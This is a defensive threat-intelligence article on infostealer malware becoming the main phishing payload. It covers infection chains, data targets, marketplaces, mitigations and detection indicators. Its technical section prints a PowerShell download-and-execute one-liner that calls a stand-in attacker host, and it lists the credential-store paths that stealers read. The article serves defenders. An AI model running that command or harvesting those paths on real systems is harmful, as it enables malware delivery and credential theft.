Infostealers Become Go-To Phishing Payload For Hackers

Infostealers have emerged as the dominant payload in phishing campaigns, replacing ransomware as the preferred choice for cybercriminals. These stealthy malware variants focus on harvesting credentials, session cookies, cryptocurrency wallets, and browser data rather than encrypting files. The shift represents a strategic evolution toward long-term monetization through credential marketplaces, follow-on attacks, and identity theft. Organizations face significant risks as stolen credentials enable persistent access, data breaches, and supply chain compromises.

Introduction

The threat landscape has undergone a dramatic transformation as cybercriminals increasingly deploy infostealers as their primary phishing payload. Unlike traditional ransomware that announces its presence through encryption screens, infostealers operate silently in the background, exfiltrating valuable data before victims realize they’ve been compromised.

Recent telemetry from security vendors indicates a 266% increase in infostealer infections over the past year, with prominent families like RedLine, Vidar, Raccoon, and the emerging Lumma dominating distribution networks. This shift reflects cybercriminals’ recognition that stolen credentials provide more versatile, sustainable revenue streams than one-time ransomware payments.

The implications extend beyond individual victims. Stolen credentials facilitate supply chain attacks, enable lateral movement within corporate networks, and fuel a thriving underground economy where access to compromised accounts trades for pennies to thousands of dollars depending on the target’s value.

Background & Context

Infostealers aren’t new—variants like ZeuS and SpyEye dominated the banking trojan landscape over a decade ago. However, modern infostealers have evolved into sophisticated, modular platforms designed for maximum data extraction efficiency.

The current generation targets multiple data types simultaneously:

• Browser credentials and autofill data
• Session cookies and authentication tokens
• Cryptocurrency wallet files and browser extensions
• FTP/SSH credentials stored in client applications
• Email client credentials
• VPN configuration files
• Two-factor authentication seeds
• Browser history and form data

The malware-as-a-service (MaaS) model has democratized access to these tools. For $100-$300 monthly subscriptions, even low-skilled criminals can deploy sophisticated infostealers complete with crypters, builder panels, and exfiltrated data dashboards. This accessibility has flooded the market with stolen credentials—logs from a single infected machine sell for as little as $5-$10 on underground marketplaces.

Phishing remains the primary delivery mechanism, but attackers have refined their social engineering techniques. Campaigns impersonate trusted software updates, job applications with malicious attachments, fake CAPTCHA verifications leading to PowerShell execution, and even sponsored search engine results pointing to trojanized software downloads.

Technical Breakdown

Modern infostealers employ multi-stage infection chains designed to evade detection:

Initial Compromise:
Victims receive phishing emails containing malicious attachments (ISO, ZIP, LNK files) or links to compromised websites. JavaScript attachments have become particularly popular, executing PowerShell commands when opened:

powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker[.]com/stage2.ps1')"

Execution and Persistence:
The dropper downloads the infostealer payload, often packed or encrypted to bypass signature-based detection. Some variants establish persistence through scheduled tasks, registry modifications, or startup folder entries, though many operate as single-execution harvesters to minimize forensic footprints.

Data Harvesting:
Infostealers query specific file paths and registry keys associated with credential storage:

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%APPDATA%\Mozilla\Firefox\Profiles\*.default\logins.json
%APPDATA%\Exodus\exodus.wallet
HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions

Browser credential databases are copied and exfiltrated. Modern browsers encrypt stored credentials, but infostealers leverage the legitimate DPAPI (Data Protection API) or extract master keys to decrypt this data in the context of the infected user.

Exfiltration:
Collected data is compressed, often encrypted, and transmitted to command-and-control servers via HTTP/HTTPS POST requests, Telegram bots, or Discord webhooks. The use of legitimate platforms complicates network-based detection.

Post-Compromise Monetization:
Stolen credentials appear on markets like Russian Market, 2easy, and Genesis within hours. Buyers use automated tools to check credential validity and identify high-value targets for follow-on attacks.

Impact & Risk Assessment

The proliferation of infostealer-based phishing campaigns creates cascading security risks:

Immediate Organizational Impact:

• Unauthorized access to corporate systems through compromised VPN, email, or cloud service credentials
• Business email compromise (BEC) attacks leveraging stolen email accounts
• Financial loss through compromised cryptocurrency holdings or banking credentials
• Exposure of sensitive intellectual property, customer data, or confidential communications

Long-Term Strategic Risks:
Stolen session cookies enable attackers to bypass multi-factor authentication entirely, accessing accounts without triggering additional authentication prompts. This “pass-the-cookie” technique has become increasingly common, particularly against high-value targets.

Supply chain compromises represent an escalating concern. A single compromised developer workstation with stolen GitHub credentials, code signing certificates, or build system access can facilitate attacks affecting downstream customers and partners.

Economic Ecosystem:
The credential marketplace creates a self-sustaining ecosystem. Initial access brokers purchase infostealer logs, identify valuable corporate accounts, and resell network access to ransomware operators, data extortion groups, or state-sponsored actors. This division of labor has industrialized cybercrime operations.

Risk severity varies by stolen credential type:

• Domain administrator credentials: Critical
• Cloud console access: Critical
• VPN credentials: High
• Email accounts: High
• Social media accounts: Medium
• Gaming accounts: Low to Medium

Vendor Response

Security vendors have responded with enhanced detection capabilities and threat intelligence sharing:

Microsoft Defender, CrowdStrike, SentinelOne, and other EDR platforms have added behavioral detection rules targeting infostealer execution patterns, including DPAPI abuse, bulk credential database access, and suspicious network connections to known C2 infrastructure.

Google, Microsoft, and Mozilla have implemented enhanced browser protections:

• Encrypted credential storage with hardware-backed key protection on supported devices
• Warnings when extensions request excessive permissions
• Enhanced download scanning for executable files

Credential monitoring services now scan infostealer marketplaces, alerting organizations when employee credentials appear in stolen logs. Services like SpyCloud, Hudson Rock, and Flare provide proactive notification before credentials are weaponized.

Industry collaboration through the Cyber Threat Alliance and Information Sharing and Analysis Centers (ISACs) has improved intelligence distribution about emerging infostealer families and infrastructure.

Mitigations & Workarounds

Organizations should implement layered defenses addressing both prevention and detection:

Technical Controls:

• Deploy endpoint detection and response (EDR) solutions with behavioral monitoring
• Implement application allowlisting to prevent unauthorized executable execution
• Enable SmartScreen, AMSI, and other built-in Windows protections
• Use DNS filtering to block known malware distribution and C2 domains
• Enforce browser security policies preventing extension sideloading

Authentication Hardening:

• Mandate phishing-resistant multi-factor authentication (FIDO2, WebAuthn) rather than SMS or authenticator apps
• Implement session timeout policies and device binding for sensitive applications
• Deploy conditional access policies restricting authentication from suspicious locations or unmanaged devices
• Utilize hardware security keys for privileged accounts

Email Security:

• Configure DMARC, SPF, and DKIM to prevent domain spoofing
• Implement advanced email filtering with attachment sandboxing
• Block risky attachment types (ISO, IMG, LNK, JS, VBS) at the gateway
• Enable warnings for external emails

User Environment:

• Disable Windows Script Host (wscript.exe, cscript.exe) for standard users
• Remove PowerShell access for non-administrative users or enforce constrained language mode
• Restrict macro execution in Office applications

Detection & Monitoring

Effective detection requires monitoring multiple telemetry sources:

Endpoint Indicators:
Monitor for processes accessing multiple credential databases:

Process accessing: Login Data, logins.json, Web Data, Cookies files
Suspicious parent-child process relationships (excel.exe → powershell.exe)
LSASS memory access attempts
DPAPI usage by unexpected processes

Network Indicators:

• Bulk data uploads to cloud storage, file sharing services, or suspicious domains
• Connections to known infostealer C2 infrastructure
• Discord/Telegram API usage from unexpected processes
• Unusual geographic authentication patterns

Log Analysis:
Review authentication logs for:

• Impossible travel scenarios (logins from geographically distant locations within short timeframes)
• Authentication from anonymization services (VPN, Tor, residential proxies)
• New device enrollments
• Changes to MFA settings or security preferences

Threat Intelligence Integration:
Continuously monitor credential exposure through:

• Scanning infostealer marketplace logs for organizational email domains
• Checking password dumps and breach compilations
• Subscribing to dark web monitoring services
• Participating in industry threat sharing groups

Best Practices

For Organizations:

• Implement Zero Trust Architecture: Assume compromise and verify every access request regardless of origin
• Credential Hygiene: Enforce unique passwords through password managers, regularly rotate credentials, especially after employee departures
• Privileged Access Management: Separate administrative and standard user accounts, require jump boxes for administrative tasks
• Security Awareness Training: Conduct regular phishing simulations, teach recognition of social engineering techniques, establish reporting mechanisms for suspicious emails
• Incident Response Readiness: Maintain playbooks for credential compromise scenarios, establish relationships with threat intelligence vendors, conduct tabletop exercises

For Individuals:

• Use password managers rather than browser credential storage
• Enable hardware security keys for critical accounts
• Verify sender authenticity before clicking links or opening attachments
• Keep browsers, operating systems, and applications updated
• Review browser extensions regularly, removing unnecessary ones
• Download software only from official vendor websites, not search results

For Security Teams:

• Deploy honeytokens (fake credentials) to detect compromise
• Implement user and entity behavior analytics (UEBA)
• Establish baseline normal authentication patterns
• Create automated response workflows for suspicious authentication events
• Maintain inventories of credential storage locations across the environment

Key Takeaways

• Infostealers have become the predominant phishing payload, representing a strategic shift from immediate ransomware monetization to long-term credential exploitation
• The malware-as-a-service model has commoditized sophisticated infostealers, enabling widespread deployment by low-skilled actors
• Stolen credentials fuel an ecosystem of secondary attacks including ransomware, BEC, supply chain compromises, and data extortion
• Traditional password-based MFA provides insufficient protection against infostealers that harvest session cookies and authentication tokens
• Phishing-resistant authentication methods (FIDO2/WebAuthn) and comprehensive monitoring of credential exposure are essential defensive measures
• The underground marketplace for stolen credentials creates persistent risk as data remains exploitable long after initial compromise
• Organizations must adopt layered defenses combining technical controls, user education, and continuous monitoring to address this evolving threat

References

• Cybersecurity and Infrastructure Security Agency (CISA) – Alert on Information Stealers
• MITRE ATT&CK – T1555 Credentials from Password Stores
• OWASP – Session Management Cheat Sheet
• NIST Special Publication 800-63B – Digital Identity Guidelines
• FBI Internet Crime Complaint Center – Infostealer Malware Threats
• FIDO Alliance – WebAuthn Specifications

Stay updated at https://cydhaal.com — Your Daily Dose of Cyber Intelligence.
📧 Subscribe to our newsletter at https://cydhaal.com/newsletter/